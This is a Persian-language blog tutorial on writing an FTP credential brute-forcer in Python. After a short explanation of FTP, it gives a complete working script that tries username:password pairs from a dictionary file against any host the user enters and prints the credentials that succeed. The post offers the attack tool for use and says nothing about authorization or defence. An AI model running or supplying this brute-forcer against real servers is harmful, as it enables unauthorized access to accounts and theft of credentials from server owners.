-
دوشنبه, ۲۳ فروردين ۱۴۰۰، ۱۱:۳۹ ق.ظ
-
۱۱۲۴
سلام دوستان :)
امروز میخواستم نحوه ساخت کرکر پروتکل FTP با پایتون رو بهتون نشون بدم
خب اول یک توضیح کوتاهی راجب به FTP بدم
FTP یک پروتکل استاندارد بر پایه TCP/IP هست که مخفف File Transfer Protocol هست و یکی از قدیمی ترین و پر کاربرد ترین پروتکل های اینترنت است.
همینطور که از اسمش مشخصه کار این پروتکل اینه که میتونه فایل رو از یک کامپیوتر به یک کامپیوتر دیگه منتقل کنه.
این پروتکل روی پورت 21 و 20 کار میکنه که پورت 21 برای برقرار کردن ارتباط بین کلاینت و سرور و پورت 20 برای تبادل و ارسال فایل های مورد نظر در شبکه است(همون کانال کنترل و کانال داده)
در اکثر مواقع ما برای لاگین کردن به یک سرور FTP نیاز به یوزر و پسورد داریم
در سرور ها برای احراز هویت شخصی که به اون سرور وصل میشه حساب های FTP مختلفی وجود داره که هر کدوم در دایرکتوری مختلفی وصل میشن و سطوح دسترسی متفاوتی دارن
خب برای نوشتن این اسکریپت با پایتون ما باید به سرور وصل بشیم و Username و Password List رو روی اون سرور امتحان کنیم
فرمت پسورد لیستتون باید اینجوری باشه:
username:password
برای این برنامه ما نیاز به ماژول colorama داریم که بتونیم متن رنگی بنویسیم
برای نصب این ماژول توی ویندوز وارد cmd شوید و دستورات زیر رو بزنید:
pip install colorama
برای نصب در لینوکس وارد ترمینال بشین و دستورات زیر رو وارد کنید:
pip3 install colorama
خب میریم سراغ کد
اول ماژول هامون رو ایمپورت میکنیم:
import ftplib import colorama
حالا یک تابع درست میکنیم که سه تا ورودی یوزرنیم، پسورد و هاست میگیره که بتونه به سرور مد نظر وصل بشه و یوزرنیم ها و پسورد های رو دونه دونه روی سرور امتحان کنه و اگه user و password مون درست بود مقدار True بر میگردونه و اگر درست نبود مقدار False برای این که بتونیم راحت در if ها استفادش کنیم:
def connect(host,username,password): ftp = ftplib.FTP() print(colorama.Fore.RED + "trying -> {}:{}".format(username,password)) try: ftp.connect(host,21,timeout=5) ftp.login(username,password) return True except ftplib.error_perm: return False
بعدش دو تا ورودی از کاربر میگیریم یکی آدرس سرور ftp و یکی آدرس فایل پسورد لیست:
colorama.init() # init colorama host = input("host : ") dic = input("Dictionery File : ")
در آخر یک حلقه درست میکنیم که فایل رو باز میکنه یوزرنیم و پسورد رو از هم جدا میکنه و میریزتش توی یک متغییر و یوزر و پسورد رو روی سرور چک میکنه اگر شد با رنگ سبز یوزرنیم و پسورد رو چاپ میکنه و میگه اینا درست بودن اگر نشد یوزرنیم و پسورد اشتباه رو با رنگ قرمز چاپ میکنه و میگه اینا نبودن:
for userpass in open(dic): userpass = userpass.strip("\n") username = userpass.split(":")[0] password = userpass.split(":")[1] if connect(host,username,password) : print("-------------------") print(colorama.Fore.GREEN + "Username : {}\nPassword : {}".format(username,password)) break
این هم کد کامل:
import ftplib import colorama def connect(host,username,password): ftp = ftplib.FTP() print(colorama.Fore.RED + "trying -> {}:{}".format(username,password)) try: ftp.connect(host,21,timeout=5) ftp.login(username,password) return True except ftplib.error_perm: return False colorama.init() # init colorama host = input("host : ") dic = input("Dictionery File : ") for userpass in open(dic): userpass = userpass.strip("\n") username = userpass.split(":")[0] password = userpass.split(":")[1] if connect(host,username,password) : print("-------------------") print(colorama.Fore.GREEN + "Username : {}\nPassword : {}".format(username,password)) break
امیدوارم این مطلب هم براتون مفید بوده باشه D: